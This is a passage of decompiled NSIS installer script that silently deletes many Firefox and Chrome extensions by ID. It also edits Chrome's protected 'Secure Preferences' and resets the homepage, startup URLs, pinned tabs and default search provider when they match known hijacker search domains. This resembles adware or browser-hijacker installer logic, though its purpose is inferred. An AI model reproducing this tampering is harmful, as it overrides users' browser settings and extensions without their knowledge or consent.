$_59_\extensions\{159b6291-3313-443c-a196-2400a75839e8}.xpi label_8813: IfFileExists $_59_\extensions\{AD11DADE-C597-45D9-D8C5-1D2EB0B89613}.xpi 0 label_8815 Delete /REBOOTOK $_59_\extensions\{AD11DADE-C597-45D9-D8C5-1D2EB0B89613}.xpi label_8815: IfFileExists $_59_\extensions\defsearchp@gmail.com 0 label_8817 RMDir /r /REBOOTOK $_59_\extensions\defsearchp@gmail.com label_8817: IfFileExists $_59_\extensions\deskCutv2@gmail.com 0 label_8819 RMDir /r /REBOOTOK $_59_\extensions\deskCutv2@gmail.com label_8819: IfFileExists $_59_\extensions\6a1a03975fde4c8690f6b883c36bc1@7d88519bfe704d8cae3851239.com 0 label_8821 RMDir /r /REBOOTOK $_59_\extensions\6a1a03975fde4c8690f6b883c36bc1@7d88519bfe704d8cae3851239.com label_8821: IfFileExists $_59_\extensions\{f283fe97-fa02-4fe5-a5c3-a3301270de6e}.xpi 0 label_8823 Delete /REBOOTOK $_59_\extensions\{f283fe97-fa02-4fe5-a5c3-a3301270de6e}.xpi label_8823: IfFileExists $_59_\extensions\{62dc5e25-b1a4-4bef-b130-001732d3585f}.xpi 0 label_8825 Delete /REBOOTOK $_59_\extensions\{62dc5e25-b1a4-4bef-b130-001732d3585f}.xpi label_8825: IfFileExists $_59_\extensions\{aa201293-043e-4bc7-aa5c-35e077edd40f}.xpi 0 label_8827 Delete /REBOOTOK $_59_\extensions\{aa201293-043e-4bc7-aa5c-35e077edd40f}.xpi label_8827: IfFileExists $_59_\extensions\{b20a000f-7c1b-45ca-993c-5783570dbe26}.xpi 0 label_8829 Delete /REBOOTOK $_59_\extensions\{b20a000f-7c1b-45ca-993c-5783570dbe26}.xpi label_8829: IfFileExists $_59_\extensions\{e778774d-0541-4f0d-80c6-f5a71856f828}.xpi 0 label_8831 Delete /REBOOTOK $_59_\extensions\{e778774d-0541-4f0d-80c6-f5a71856f828}.xpi label_8831: IfFileExists $_59_\extensions\{3fe091fd-bd68-4232-9287-c755881dd426}.xpi 0 label_8833 Delete /REBOOTOK $_59_\extensions\{3fe091fd-bd68-4232-9287-c755881dd426}.xpi label_8833: IfFileExists $_59_\extensions\{527b0dc2-273a-448f-844f-9c9b6954c2e1}.xpi 0 label_8835 Delete /REBOOTOK $_59_\extensions\{527b0dc2-273a-448f-844f-9c9b6954c2e1}.xpi label_8835: IfFileExists $_59_\extensions\{3649d071-7ccc-406e-91c7-7e3a1383fa6f}.xpi 0 label_8837 Delete /REBOOTOK $_59_\extensions\{3649d071-7ccc-406e-91c7-7e3a1383fa6f}.xpi label_8837: IfFileExists $_59_\extensions\{f8b28ab0-f41b-4b32-b6eb-d130fd93feb1}.xpi 0 label_8839 Delete /REBOOTOK $_59_\extensions\{f8b28ab0-f41b-4b32-b6eb-d130fd93feb1}.xpi label_8839: IfFileExists $_59_\extensions\{92c9ea8e-d032-4248-a8a1-80ea1615e38a}.xpi 0 label_8841 Delete /REBOOTOK $_59_\extensions\{92c9ea8e-d032-4248-a8a1-80ea1615e38a}.xpi label_8841: IfFileExists $_59_\extensions\{2cb5dde2-40b6-4585-98ea-867e0c49a915}.xpi 0 label_8843 Delete /REBOOTOK $_59_\extensions\{2cb5dde2-40b6-4585-98ea-867e0c49a915}.xpi label_8843: IfFileExists $_59_\extensions\{57657737-a8e9-4f48-a1f0-8048c8f69d1b}.xpi 0 label_8845 Delete /REBOOTOK $_59_\extensions\{57657737-a8e9-4f48-a1f0-8048c8f69d1b}.xpi label_8845: IfFileExists $_59_\extensions\{27a1faaf-ecc3-5c2b-ba71-86bc3d49a915}.xpi 0 label_8847 Delete /REBOOTOK $_59_\extensions\{27a1faaf-ecc3-5c2b-ba71-86bc3d49a915}.xpi label_8847: IfFileExists $_59_\extensions\{cba25618-b0c8-cdd6-46f1-67cba25618ab}.xpi 0 label_8849 Delete /REBOOTOK $_59_\extensions\{cba25618-b0c8-cdd6-46f1-67cba25618ab}.xpi label_8849: IfFileExists $_59_\extensions\{6379a279-6da5-435f-86bf-c309005e8359}.xpi 0 label_8851 Delete /REBOOTOK $_59_\extensions\{6379a279-6da5-435f-86bf-c309005e8359}.xpi label_8851: IfFileExists $_59_\extensions\caseyathaniel30@hotmail.com 0 label_8853 RMDir /r /REBOOTOK $_59_\extensions\caseyathaniel30@hotmail.com label_8853: IfFileExists $_59_\extensions\{dde244b0-fb51-42a6-9c9c-82f978f9041f}.xpi 0 label_8855 Delete /REBOOTOK $_59_\extensions\{dde244b0-fb51-42a6-9c9c-82f978f9041f}.xpi label_8855: IfFileExists $_59_\extensions\AVJYFVOD75109374@HCDE39471360.com 0 label_8857 RMDir /r /REBOOTOK $_59_\extensions\AVJYFVOD75109374@HCDE39471360.com label_8857: IfFileExists $_59_\extensions\KUKDSXGS67213349@EDCBUFV5900769.com 0 label_8859 RMDir /r /REBOOTOK $_59_\extensions\KUKDSXGS67213349@EDCBUFV5900769.com label_8859: IfFileExists $_59_\extensions\{7e8041c9-5043-4ce3-9967-63e16dc9c021}.xpi 0 label_8861 Delete /REBOOTOK $_59_\extensions\{7e8041c9-5043-4ce3-9967-63e16dc9c021}.xpi label_8861: IfFileExists $_59_\extensions\{16a9d1d5-7c36-4224-8574-0add20588a52}.xpi 0 label_8863 Delete /REBOOTOK $_59_\extensions\{16a9d1d5-7c36-4224-8574-0add20588a52}.xpi label_8863: IfFileExists $_59_\extensions\{73d18ea9-e3c7-46e0-b70c-526583a98abe}.xpi 0 label_8865 Delete /REBOOTOK $_59_\extensions\{73d18ea9-e3c7-46e0-b70c-526583a98abe}.xpi label_8865: IfFileExists $_59_\extensions\{a01d8d10-2d95-4880-9b9e-ad8443257818}.xpi 0 label_8867 Delete /REBOOTOK $_59_\extensions\{a01d8d10-2d95-4880-9b9e-ad8443257818}.xpi label_8867: IfFileExists $_59_\extensions\{29451070-f176-42e6-9649-c54c843446fc}.xpi 0 label_8869 Delete /REBOOTOK $_59_\extensions\{29451070-f176-42e6-9649-c54c843446fc}.xpi label_8869: IfFileExists $_59_\extensions\{d54ca6b2-c52f-46f7-9a20-4aa86be0e174}.xpi 0 label_8871 Delete /REBOOTOK $_59_\extensions\{d54ca6b2-c52f-46f7-9a20-4aa86be0e174}.xpi label_8871: IfFileExists $_59_\extensions\{6ec09908-795a-4141-bffa-5fa914d42b7e}.xpi 0 label_8873 Delete /REBOOTOK $_59_\extensions\{6ec09908-795a-4141-bffa-5fa914d42b7e}.xpi label_8873: IfFileExists $_59_\extensions\{27e158ab-ed08-463b-b2ae-b0859aa9e6b7}.xpi 0 label_8875 Delete /REBOOTOK $_59_\extensions\{27e158ab-ed08-463b-b2ae-b0859aa9e6b7}.xpi label_8875: IfFileExists $_59_\extensions\{5338b981-17bb-4eb1-a9c2-e552c52b86c3}.xpi 0 label_8877 Delete /REBOOTOK $_59_\extensions\{5338b981-17bb-4eb1-a9c2-e552c52b86c3}.xpi label_8877: IfFileExists $_59_\extensions\qjktolncgbkabgizhu@bodobehvbvbwhtezg.net 0 label_8879 RMDir /r /REBOOTOK $_59_\extensions\qjktolncgbkabgizhu@bodobehvbvbwhtezg.net label_8879: IfFileExists $_59_\extensions\TtfDW3r@NIj.org 0 label_8881 RMDir /r /REBOOTOK $_59_\extensions\TtfDW3r@NIj.org label_8881: IfFileExists $_59_\extensions\{bc0dfb93-6833-449e-a4e7-8633203fd3bc}.xpi 0 label_8883 Delete /REBOOTOK $_59_\extensions\{bc0dfb93-6833-449e-a4e7-8633203fd3bc}.xpi label_8883: IfFileExists $_59_\extensions\{aa629cf2-7914-4ba7-a988-47c945a76c7c}.xpi 0 label_8885 Delete /REBOOTOK $_59_\extensions\{aa629cf2-7914-4ba7-a988-47c945a76c7c}.xpi label_8885: IfFileExists $_59_\extensions\{c3b33406-0ed8-4dac-aec8-542a7083eb5d}.xpi 0 label_8887 Delete /REBOOTOK $_59_\extensions\{c3b33406-0ed8-4dac-aec8-542a7083eb5d}.xpi label_8887: IfFileExists $_59_\extensions\{8cc5e9ec-4d7b-45f3-869c-054d84aaa512}.xpi 0 label_8889 Delete /REBOOTOK $_59_\extensions\{8cc5e9ec-4d7b-45f3-869c-054d84aaa512}.xpi label_8889: IfFileExists $_59_\extensions\{348295a7-7997-44ac-a9fb-2825d318432d}.xpi 0 label_8891 Delete /REBOOTOK $_59_\extensions\{348295a7-7997-44ac-a9fb-2825d318432d}.xpi label_8891: IfFileExists $_59_\extensions\{092386fb-9faf-4d52-817c-d4095ab6e5cd}.xpi 0 label_8893 Delete /REBOOTOK $_59_\extensions\{092386fb-9faf-4d52-817c-d4095ab6e5cd}.xpi label_8893: IfFileExists $_59_\extensions\{ff5b1a0e-6112-4bfe-881a-a6f209dd1428}.xpi 0 label_8895 Delete /REBOOTOK $_59_\extensions\{ff5b1a0e-6112-4bfe-881a-a6f209dd1428}.xpi label_8895: IfFileExists $_59_\extensions\{725ac607-9a4d-4324-8683-5f198bad476c}.xpi 0 label_8897 Delete /REBOOTOK $_59_\extensions\{725ac607-9a4d-4324-8683-5f198bad476c}.xpi label_8897: IfFileExists $_59_\extensions\{cff7a3d5-2193-43a2-87b6-84454c255c6c}.xpi 0 label_8899 Delete /REBOOTOK $_59_\extensions\{cff7a3d5-2193-43a2-87b6-84454c255c6c}.xpi label_8899: IfFileExists $_59_\extensions\{4b830365-d4e7-484e-b314-fccd2326cd0d}.xpi 0 label_8901 Delete /REBOOTOK $_59_\extensions\{4b830365-d4e7-484e-b314-fccd2326cd0d}.xpi label_8901: IfFileExists $_59_\extensions\{4f694d8d-6bd5-42d9-be6d-91b3dbf4a2e1}.xpi 0 label_8903 Delete /REBOOTOK $_59_\extensions\{4f694d8d-6bd5-42d9-be6d-91b3dbf4a2e1}.xpi label_8903: IfFileExists $_59_\extensions\{26a46a2e-a565-42b9-a3f1-96dc63b2a3cc}.xpi 0 label_8905 Delete /REBOOTOK $_59_\extensions\{26a46a2e-a565-42b9-a3f1-96dc63b2a3cc}.xpi label_8905: IfFileExists $_59_\extensions\{568x6a13-bb65-gh59-b6g4-3568ghh4a6gh}.xpi 0 label_8907 Delete /REBOOTOK $_59_\extensions\{568x6a13-bb65-gh59-b6g4-3568ghh4a6gh}.xpi label_8907: IfFileExists $_59_\extensions\{2ecf46cc-6922-40e0-a88d-63eada1a1484}.xpi 0 label_8909 Delete /REBOOTOK $_59_\extensions\{2ecf46cc-6922-40e0-a88d-63eada1a1484}.xpi label_8909: IfFileExists $_59_\extensions\{262E20B8-6E20-4CEF-B1FD-D022AB1085F5}.xpi 0 label_8911 Delete /REBOOTOK $_59_\extensions\{262E20B8-6E20-4CEF-B1FD-D022AB1085F5}.xpi label_8911: IfFileExists $_59_\extensions\{e5ce8cf0-7605-4e4b-a6cd-87c040c37288}.xpi 0 label_8913 Delete /REBOOTOK $_59_\extensions\{e5ce8cf0-7605-4e4b-a6cd-87c040c37288}.xpi label_8913: IfFileExists $_59_\extensions\{d10d1bf8-f5b5-a8b4-a8b2-2b9399e08c5d} 0 label_8915 RMDir /r /REBOOTOK $_59_\extensions\{d10d1bf8-f5b5-a8b4-a8b2-2b9399e08c5d} label_8915: IfFileExists $_59_\extensions\{FF20459C-DA6E-41A7-80BC-8F4FEFD9C575} 0 label_8917 RMDir /r /REBOOTOK $_59_\extensions\{FF20459C-DA6E-41A7-80BC-8F4FEFD9C575} label_8917: IfFileExists $_59_\extensions\{95E84BD3-3604-4AAC-B2CA-D9AC3E55B64B} 0 label_8919 RMDir /r /REBOOTOK $_59_\extensions\{95E84BD3-3604-4AAC-B2CA-D9AC3E55B64B} label_8919: FunctionEnd Function func_8920 IfFileExists "$_64_\Secure Preferences" 0 label_8943 StrCpy $1 1 ClearErrors nsJSON::Set /file "$_64_\Secure Preferences" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsJSON.dll ; SetDetailsPrint lastused ; Push "$_64_\Secure Preferences" ; Push /file ; CallInstDLL $PLUGINSDIR\nsJSON.dll Set nsJSON::Get extensions settings $_51_ state /end ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsJSON.dll ; SetDetailsPrint lastused ; Push /end ; Push state ; Push $_51_ ; Push settings ; Push extensions ; CallInstDLL $PLUGINSDIR\nsJSON.dll Get IfErrors label_8943 Pop $1 StrCmp $1 0 0 label_8943 StrCpy $_54_ 0 WriteINIStr $EXEDIR\le LE VER NANMA== label_8943: FunctionEnd Function func_8944 ClearErrors Push $_64_ Push "$LOCALAPPDATA\Google\Chrome\User Data" Call :label_405 Pop $0 IfErrors label_8951 Call func_8920 label_8951: Call func_9427 Call func_9497 Call func_9563 Call func_9629 Call func_9695 Call func_9757 Call func_9823 Call func_9889 Call func_9955 Call func_10021 Call func_10087 Call func_10153 Call func_10219 Call func_10285 Call func_10351 Call func_10417 Call func_10483 Call func_10549 Call func_10615 Call func_10681 Call func_10745 Call func_10811 Call func_10877 Call func_10943 Call func_11009 Call func_11075 FunctionEnd Function func_8978 StrCpy $_98_ "" StrCpy $_99_ "" nsJSON::Set /file $_30_ ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsJSON.dll ; SetDetailsPrint lastused ; Push $_30_ ; Push /file ; CallInstDLL $PLUGINSDIR\nsJSON.dll Set ClearErrors nsJSON::Get homepage /end ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsJSON.dll ; SetDetailsPrint lastused ; Push /end ; Push homepage ; CallInstDLL $PLUGINSDIR\nsJSON.dll Get IfErrors label_8996 Pop $_98_ Goto label_8997 label_8996: StrCpy $_98_ HPAGE label_8997: nsJSON::Set /file $_30_ ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsJSON.dll ; SetDetailsPrint lastused ; Push $_30_ ; Push /file ; CallInstDLL $PLUGINSDIR\nsJSON.dll Set ClearErrors nsJSON::Get session startup_urls /end ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsJSON.dll ; SetDetailsPrint lastused ; Push /end ; Push startup_urls ; Push session ; CallInstDLL $PLUGINSDIR\nsJSON.dll Get IfErrors label_9015 Pop $_99_ StrCpy $_99_ $_99_ -1 1 Goto label_9016 label_9015: StrCpy $_99_ SURL label_9016: FunctionEnd Function func_9017 nsJSON::Set /file $_30_ ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsJSON.dll ; SetDetailsPrint lastused ; Push $_30_ ; Push /file ; CallInstDLL $PLUGINSDIR\nsJSON.dll Set nsJSON::Delete homepage /end ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsJSON.dll ; SetDetailsPrint lastused ; Push /end ; Push homepage ; CallInstDLL $PLUGINSDIR\nsJSON.dll Delete nsJSON::Serialize /format /file $_30_ ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsJSON.dll ; SetDetailsPrint lastused ; Push $_30_ ; Push /file ; Push /format ; CallInstDLL $PLUGINSDIR\nsJSON.dll Serialize FunctionEnd Function func_9037 nsJSON::Set /file $_30_ ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsJSON.dll ; SetDetailsPrint lastused ; Push $_30_ ; Push /file ; CallInstDLL $PLUGINSDIR\nsJSON.dll Set nsJSON::Delete session startup_urls /end ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsJSON.dll ; SetDetailsPrint lastused ; Push /end ; Push startup_urls ; Push session ; CallInstDLL $PLUGINSDIR\nsJSON.dll Delete nsJSON::Serialize /format /file $_30_ ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsJSON.dll ; SetDetailsPrint lastused ; Push $_30_ ; Push /file ; Push /format ; CallInstDLL $PLUGINSDIR\nsJSON.dll Serialize FunctionEnd Function func_9058 Call func_8978 StrCpy $_101_ "" StrCpy $6 "" ClearErrors ReadRegStr $_101_ HKCU "Software\Start Page" "Start Page" IfErrors 0 label_9066 StrCpy $_101_ "" Goto label_9078 label_9066: ClearErrors Push $_101_ Push /? Push > Push < Push 0 Push 0 Push 0 Call func_4539 Pop $6 IfErrors 0 label_9078 StrCpy $6 "" label_9078: StrCmp $_98_ HPAGE label_9220 StrCmp $_101_ "" label_9083 ClearErrors Push $_98_ Push $_101_ label_9083: Call :label_405 Pop $0 IfErrors 0 label_9219 StrCmp $6 "" label_9090 ClearErrors Push $_98_ Push $6 label_9090: Call :label_405 Pop $0 IfErrors 0 label_9219 ClearErrors Push $_98_ Push www.yessearches.com Call :label_405 Pop $0 IfErrors 0 label_9219 ClearErrors Push $_98_ Push www.hohosearch.com Call :label_405 Pop $0 IfErrors 0 label_9219 ClearErrors Push $_98_ Push searchnikis-mi.ru Call :label_405 Pop $0 IfErrors 0 label_9219 ClearErrors Push $_98_ Push searchyda-s.ru Call :label_405 Pop $0 IfErrors 0 label_9219 ClearErrors Push $_98_ Push seaserchs-niks.ru Call :label_405 Pop $0 IfErrors 0 label_9219 ClearErrors Push $_98_ Push safebrowsesearch.com Call :label_405 Pop $0 IfErrors 0 label_9219 ClearErrors Push $_98_ Push searchs-paisi.ru Call :label_405 Pop $0 IfErrors 0 label_9219 ClearErrors Push $_98_ Push www.search.ask.com Call :label_405 Pop $0 IfErrors 0 label_9219 ClearErrors Push $_98_ Push www.portalsepeti.com Call :label_405 Pop $0 IfErrors 0 label_9219 ClearErrors Push $_98_ Push www.oursurfing.com Call :label_405 Pop $0 IfErrors 0 label_9219 ClearErrors Push $_98_ Push www.luckysearches.com Call :label_405 Pop $0 IfErrors 0 label_9219 ClearErrors Push $_98_ Push http://www.omniboxes.com Call :label_405 Pop $0 IfErrors 0 label_9219 ClearErrors Push $_98_ Push http://2inf.net Call :label_405 Pop $0 IfErrors 0 label_9219 ClearErrors Push $_98_ Push http://mail.ru Call :label_405 Pop $0 IfErrors 0 label_9219 ClearErrors Push $_98_ Push http://istart.webssearches.com Call :label_405 Pop $0 IfErrors 0 label_9219 ClearErrors Push $_98_ Push http://trinews.ru Call :label_405 Pop $0 IfErrors 0 label_9219 ClearErrors Push $_98_ Push http://isearch.omiga-plus.com Call :label_405 Pop $0 IfErrors 0 label_9219 ClearErrors Push $_98_ Push http://www.trovi.com Call :label_405 Pop $0 IfErrors 0 label_9219 ClearErrors Push $_98_ Push http://www.istartsurf.com Call :label_405 Pop $0 IfErrors 0 label_9219 ClearErrors Push $_98_ Push http://www.mystartsearch.com Call :label_405 Pop $0 IfErrors 0 label_9219 ClearErrors Push $_98_ Push http://drt-stm.com Call :label_405 Pop $0 IfErrors label_9220 label_9219 label_9219: Call func_9017 label_9220: StrCmp $_99_ SURL label_9381 StrCmp $_101_ "" label_9225 ClearErrors Push $_99_ Push $_101_ label_9225: Call :label_405 Pop $0 IfErrors 0 label_9380 StrCmp $6 "" label_9232 ClearErrors Push $_99_ Push $6 label_9232: Call :label_405 Pop $0 IfErrors 0 label_9380 StrCmp $_50_ "" label_9254 ClearErrors Push $_99_ Push utm_term= Call :label_405 Pop $0 IfErrors label_9254 ClearErrors Push $0 Push & Push > Push < Push 0 Push 0 Push 0 Call func_4539 Pop $0 IfErrors label_9254 StrCmp $0 $_50_ label_9380 label_9254 label_9254: ClearErrors Push $_99_ Push www.yessearches.com Call :label_405 Pop $0 IfErrors 0 label_9380 ClearErrors Push $_99_ Push www.hohosearch.com Call :label_405 Pop $0 IfErrors 0 label_9380 ClearErrors Push $_99_ Push searchnikis-mi.ru Call :label_405 Pop $0 IfErrors 0 label_9380 ClearErrors Push $_99_ Push searchyda-s.ru Call :label_405 Pop $0 IfErrors 0 label_9380 ClearErrors Push $_99_ Push seaserchs-niks.ru Call :label_405 Pop $0 IfErrors 0 label_9380 ClearErrors Push $_99_ Push safebrowsesearch.com Call :label_405 Pop $0 IfErrors 0 label_9380 ClearErrors Push $_99_ Push searchs-paisi.ru Call :label_405 Pop $0 IfErrors 0 label_9380 ClearErrors Push $_99_ Push www.search.ask.com Call :label_405 Pop $0 IfErrors 0 label_9380 ClearErrors Push $_99_ Push www.portalsepeti.com Call :label_405 Pop $0 IfErrors 0 label_9380 ClearErrors Push $_99_ Push www.oursurfing.com Call :label_405 Pop $0 IfErrors 0 label_9380 ClearErrors Push $_99_ Push www.luckysearches.com Call :label_405 Pop $0 IfErrors 0 label_9380 ClearErrors Push $_99_ Push http://www.omniboxes.com Call :label_405 Pop $0 IfErrors 0 label_9380 ClearErrors Push $_99_ Push http://2inf.net Call :label_405 Pop $0 IfErrors 0 label_9380 ClearErrors Push $_99_ Push http://mail.ru Call :label_405 Pop $0 IfErrors 0 label_9380 ClearErrors Push $_99_ Push http://istart.webssearches.com Call :label_405 Pop $0 IfErrors 0 label_9380 ClearErrors Push $_99_ Push http://trinews.ru Call :label_405 Pop $0 IfErrors 0 label_9380 ClearErrors Push $_99_ Push http://isearch.omiga-plus.com Call :label_405 Pop $0 IfErrors 0 label_9380 ClearErrors Push $_99_ Push http://www.trovi.com Call :label_405 Pop $0 IfErrors 0 label_9380 ClearErrors Push $_99_ Push http://www.istartsurf.com Call :label_405 Pop $0 IfErrors 0 label_9380 ClearErrors Push $_99_ Push http://www.mystartsearch.com Call :label_405 Pop $0 IfErrors 0 label_9380 ClearErrors Push $_99_ Push http://drt-stm.com Call :label_405 Pop $0 IfErrors label_9381 label_9380 label_9380: Call func_9037 label_9381: nsJSON::Set /file $_30_ ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsJSON.dll ; SetDetailsPrint lastused ; Push $_30_ ; Push /file ; CallInstDLL $PLUGINSDIR\nsJSON.dll Set nsJSON::Delete pinned_tabs /end ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsJSON.dll ; SetDetailsPrint lastused ; Push /end ; Push pinned_tabs ; CallInstDLL $PLUGINSDIR\nsJSON.dll Delete nsJSON::Delete default_search_provider_data /end ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsJSON.dll ; SetDetailsPrint lastused ; Push /end ; Push default_search_provider_data ; CallInstDLL $PLUGINSDIR\nsJSON.dll Delete nsJSON::Serialize /format /file $_30_ ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsJSON.dll ; SetDetailsPrint lastused ; Push $_30_ ; Push /file ; Push /format ; CallInstDLL $PLUGINSDIR\nsJSON.dll Serialize Push $_99_ Push $_98_ Push $_30_ Call func_805 FunctionEnd Function func_9411 Exch $1 ; Push $1 ; Exch ; Pop $1 StrCmp $_32_ 1 0 label_9418 IfFileExists $_64_\Extensions\$1 0 label_9417 RMDir /r /REBOOTOK $_64_\Extensions\$1 label_9417: Goto label_9426 label_9418: nsJSON::Delete extensions settings $1 /end ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsJSON.dll ; SetDetailsPrint lastused ; Push /end ; Push $1 ; Push settings ; Push extensions ; CallInstDLL $PLUGINSDIR\nsJSON.dll Delete label_9426: FunctionEnd Function func_9427 StrCmp $_32_ 1 label_9434 nsJSON::Set /file $_30_ ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsJSON.dll ; SetDetailsPrint lastused ; Push $_30_ ; Push /file ; CallInstDLL $PLUGINSDIR\nsJSON.dll Set label_9434: StrCmp $_32_ 1 label_9454 Push ihbiedpeaicgipncdnnkikeehnjiddck Call func_9411 Push npknnddabjhdijgmmbocdicnknegobkm Call func_9411 Push mfgdmpfihlmdekaclngibpjhdebndhdj Call func_9411 Push oghkljobbhapacbahlneolfclkniiami Call func_9411 Push ihmgiclibbndffejedjimfjmfoabpcke Call func_9411 Push cfmnkhhioonhiehehedmnjibmampjiab Call func_9411 StrCmp $_152_ 1 label_9454 Push aaebjepcfidgkojljbgoilgkgklehldj Call func_9411 Push cnaibnehbbinoohhjafknihmlopdhhip Call func_9411 Push jolakggdcbngpflcjfaencffnenhlddl Call func_9411 label_9454: Push agibagflppafhfonkefpklndlohkclcb Call func_9411 Push mnodmjdgoadhalodifblaaikgcfgchfb Call func_9411 Push nlipoenfbbikpbjkfpfillcgkoblgpmj Call func_9411 Push emalgedpdlghbkikiaeocoblajamonoh Call func_9411 Push jgpmhnmjbhgkhpbgelalfpplebgfjmbf Call func_9411 Push bhnpmdabjgpimmnbmhefncbghknfegog Call func_9411 Push iblenkmcolcdonmlfknbpbgjebabcoae Call func_9411 Push iabeihobmhlgpkcgjiloemdbofjbdcic Call func_9411 Push kcahibnffhnnjcedflmchmokndkjnhpg Call func_9411 Push mclkkofklkfljcocdinagocijmpgbhab Call func_9411 Push bhloflhklmhfpedakmangadcdofhnnoh Call func_9411 Push aeajehgeohhgjbhhbicilpenjfcbfnpg Call func_9411 Push gamgcdlfhmmigjmbffodgkpglbnejkjm Call func_9411 Push mefhakmgclhhfbdadeojlkbllmecialg Call func_9411 Push ocggccaacacpienfcgmgcihoombokbbj Call func_9411 Push henmfoppjjkcencpbjaigfahdjlgpegn Call func_9411 StrCmp $_32_ 1 label_9494 nsJSON::Serialize /format /file $_30_ ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsJSON.dll ; SetDetailsPrint lastused ; Push $_30_ ; Push /file ; Push /format ; CallInstDLL $PLUGINSDIR\nsJSON.dll Serialize label_9494: Push $_30_ Call func_910 FunctionEnd Function func_9497 StrCmp $_32_ 1 label_9504 nsJSON::Set /file $_30_ ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsJSON.dll ; SetDetailsPrint lastused ; Push $_30_ ; Push /file ; CallInstDLL $PLUGINSDIR\nsJSON.dll Set label_9504: Push bhmpnibiagopmobamhlgaghkojlcjnfn Call func_9411 Push fnbdnhhicmebfgdgglcdacdapkcihcoh Call func_9411 Push kejbdjndbnbjgmefkgdddjlbokphdefk Call func_9411 Push gbkeegbaiigmenfmjfclcdgdpimamgkj Call func_9411 Push jnchjfllgfgeplbacilpkfedokmoeabb Call func_9411 Push baohinapilmkigilbbbcccncoljkdpnd Call func_9411 Push eignhdfgaldabilaaegmdfbajngjmoke Call func_9411 Push aapcjgafljhokjfbeebpiddfjpjjcdem Call func_9411 Push akimgimeeoiognljlfchpbkpfbmeapkh Call func_9411 Push denjcdefjebbmlihdoojnebochnkgcin Call func_9411 Push bgnkhhnnamicmpeenaelnjfhikgbkllg Call func_9411 Push cfhdojbkjhnklbpkdaibdccddilifddb Call func_9411 Push felcaaldnbdncclmgdcncolpebgiejap Call func_9411 Push aohghmighlieiainnegkcijnfilokake Call func_9411 Push kjacjjdnoddnpbbcjilcajfhhbdhkpgk Call func_9411 Push ikmcdoglnhpbfapchbjgpcjohhiblfio Call func_9411 Push fgaibgfmahoghagddnphnjcahoceeokg Call func_9411 Push dldcbakcjliccckkmfjcblhciilpdcil Call func_9411 Push aonedlchkbicmhepimiahfalheedjgbh Call func_9411 Push jgnblgknonceobjdkepgodbolcpkgipk Call func_9411 Push oolhdkknilkffnjkpbanndcoopeacbdk Call func_9411 Push hdmklhmbdlonieiiehdekjchnhemamnp Call func_9411 Push aapbdbdomjkkjkaonfhkkikfgjllcleb Call func_9411 Push eknihobklpdlclecmmncockhnfnimfof Call func_9411 Push gighmmpiobklfepjocnamgkkbiglidom Call func_9411 StrCmp $_32_ 1 label_9562 nsJSON::Serialize /format /file $_30_ ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsJSON.dll ; SetDetailsPrint lastused ; Push $_30_ ; Push /file ; Push /format ; CallInstDLL $PLUGINSDIR\nsJSON.dll Serialize label_9562: FunctionEnd Function func_9563 StrCmp $_32_ 1 label_9570 nsJSON::Set /file $_30_ ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsJSON.dll ; SetDetailsPrint lastused ; Push $_30_ ; Push /file ; CallInstDLL $PLUGINSDIR\nsJSON.dll Set label_9570: Push likjgdigcecailmfofloaccenmakaimf Call func_9411 Push knebimhcckndhiglamoabbnifdkijidd Call func_9411 Push iffdplkiijdjejhgkcfnopnfdnlnhhlp Call func_9411 Push knfbbafhelhpliplppghhemlleooppma Call func_9411 Push bafhhmlkbcigapgkfdgfikhkkaihpjjn Call func_9411 Push ljhngnmlikjlfofkhiopmhoabbchdeoc Call func_9411 Push efinmbicabejjhjafeidhfbojhnfiepj Call func_9411 Push pgphcomnlaojlmmcjmiddhdapjpbgeoc Call func_9411 Push pjnfggphgdjblhfjaphkjhfpiiekbbej Call func_9411 Push ognampngfcbddbfemdapefohjiobgbdl Call func_9411 Push pjnohoilionaoilipmhghbglpogbgclk Call func_9411 Push fkdaohobfpffflajbmehdhgpglmncnja Call func_9411 Push hndapinaldbddbjnhebjakhlgbcahhmp Call func_9411 Push ogalaicobgnjddfiiananilkfdecfcki Call func_9411 Push jchepaljijgokkoflakjioknkfolenbk Call func_9411 Push gpfbncnkoeocopnpcacbbkdljdfhekcl Call func_9411 Push pipldannicggjnehllgnngigoihaibof Call func_9411 Push bjjlbcacffbohhnhgmkdebadjbncnhag Call func_9411 Push fkegjdclmnlbpgoekbnfonmllgkhaiil Call func_9411 Push lmjdhgblcaanmbmebpalbganeolknlcb Call func_9411 Push eomdbhbfdhkfhdeahajamkdebiihomjj Call func_9411 Push nempgcppdjebbgbbdbanlogeieombmgn Call func_9411 Push dnamklmggdjcdcflcgodfbmcepmbmaii Call func_9411 Push golhbhkdabjglokkaakliojbnhgghbbg Call func_9411 Push abheooadglcolgemdobccihamoofpgjp Call func_9411 StrCmp $_32_ 1 label_9628 nsJSON::Serialize /format /file $_30_ ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsJSON.dll ; SetDetailsPrint lastused ; Push $_30_ ; Push /file ; Push /format ; CallInstDLL $PLUGINSDIR\nsJSON.dll Serialize label_9628: FunctionEnd Function func_9629 StrCmp $_32_ 1 label_9636 nsJSON::Set /file $_30_ ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsJSON.dll ; SetDetailsPrint lastused ; Push $_30_ ; Push /file ; CallInstDLL $PLUGINSDIR\nsJSON.dll Set label_9636: Push lfgjbmhakaffflkjecineeaadpidgikb Call func_9411 Push hhnjdplhmcnkiecampfdgfjilccfpfoe Call func_9411 